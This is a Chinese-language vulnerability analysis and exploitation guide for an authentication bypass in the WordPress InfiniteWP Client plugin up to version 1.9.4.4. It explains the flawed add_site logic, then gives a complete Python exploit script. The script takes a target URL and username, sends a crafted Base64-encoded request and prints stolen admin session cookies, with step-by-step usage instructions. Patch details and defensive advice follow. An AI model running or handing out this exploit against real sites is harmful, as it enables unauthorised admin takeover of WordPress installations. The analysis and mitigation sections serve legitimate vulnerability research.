关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用
字数 1196 2025-08-15 21:30:34
WordPress InfiniteWP Client 身份认证绕过漏洞分析与利用指南
漏洞概述
InfiniteWP Client 是一个 WordPress 插件,当与 InfiniteWP Admin Panel 结合使用时,可以集中管理多个 WordPress 站点。在版本 <=1.9.4.4 中存在一个严重的身份认证绕过漏洞,允许攻击者无需凭证即可获取管理员权限。
影响范围
- 插件版本:InfiniteWP Client <=1.9.4.4
- 受影响站点:超过 300,000 个 WordPress 站点
漏洞分析
漏洞位置
漏洞主要存在于 iwp_mmb_set_request() 函数中,该函数位于插件代码中,负责处理用户认证逻辑。
关键代码分析
- 认证绕过逻辑:
if (empty($iwp_mmb_core->request_params)) {
return false;
}
$params = $iwp_mmb_core->request_params;
...
if(isset($params['username']) && !is_user_logged_in()){
$user = get_user_by('login', $params['username']);
if (isset($user) && isset($user->ID)) {
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID); // 这里设置了认证cookie
}
}
-
请求参数来源:
参数来自$iwp_mmb_core->request_params,该值由iwp_mmb_parse_request()函数设置。 -
绕过安全检查的关键点:
if ($action == 'add_site') {
$params['iwp_action'] = $action;
$iwp_mmb_core->request_params = $params;
return; // 直接返回,跳过了后续的认证检查
}
漏洞原理
当 $action 为 add_site 或 readd_site 时,代码直接设置 request_params 并返回,跳过了 authenticate_message() 的安全检查。攻击者可以构造特定的请求,通过 add_site 操作直接设置任意用户的认证 cookie。
漏洞利用
利用步骤
-
构造恶意请求:
- 请求必须包含
_IWP_JSON_PREFIX_标记 - 数据需要先 JSON 编码,然后 Base64 编码
- 请求必须包含
-
请求格式:
{
"iwp_action": "add_site",
"params": {
"username": "目标用户名"
}
}
- Python 利用代码:
import requests
import base64
import json
def exploit(url, username):
json_info = {"iwp_action": "add_site", "params": {"username": username}}
try:
return requests.post(
url,
timeout=5,
verify=False,
headers={"User-Agent": "Mozilla/5.0"},
data="_IWP_JSON_PREFIX_{}".format(
base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8")
)
)
except Exception as e:
print("[-] 错误: {}".format(e))
return False
if __name__ == "__main__":
url = input("[+] 目标URL (如 http://target/wp-admin/): ")
username = input("[+] 目标用户名 (如 admin): ")
response = exploit(url, username)
if response and response.status_code == 200:
cookies = "; ".join([f"{k}={v}" for k, v in response.cookies.items()])
print(f"[+] 成功获取Cookie:\n{cookies}")
else:
print("[-] 利用失败")
利用过程
- 运行上述脚本,输入目标 WordPress 站点的
/wp-admin/URL 和管理员用户名 - 脚本会返回认证 Cookie
- 使用该 Cookie 访问 WordPress 后台即可获得管理员权限
漏洞修复
该漏洞在 1.9.4.5 版本中修复,修复方式是在 iwp_mmb_set_request() 函数开始处添加了对 add_site 和 readd_site 操作的直接拒绝:
if ($action == 'add_site' || $action == 'readd_site') {
return false; // 直接拒绝这些操作
}
防护建议
- 立即升级:将所有 InfiniteWP Client 插件升级到最新版本 (>=1.9.4.5)
- 监控日志:检查是否有可疑的
add_site或readd_site请求 - 最小权限原则:确保 WordPress 用户仅拥有必要权限
- Web 应用防火墙:配置规则拦截可疑的 InfiniteWP 相关请求
总结
此漏洞利用 WordPress InfiniteWP Client 插件中的逻辑缺陷,通过精心构造的 add_site 请求绕过认证检查,直接获取管理员权限。由于该插件安装量巨大,影响范围广泛,建议所有使用该插件的站点立即升级到最新版本。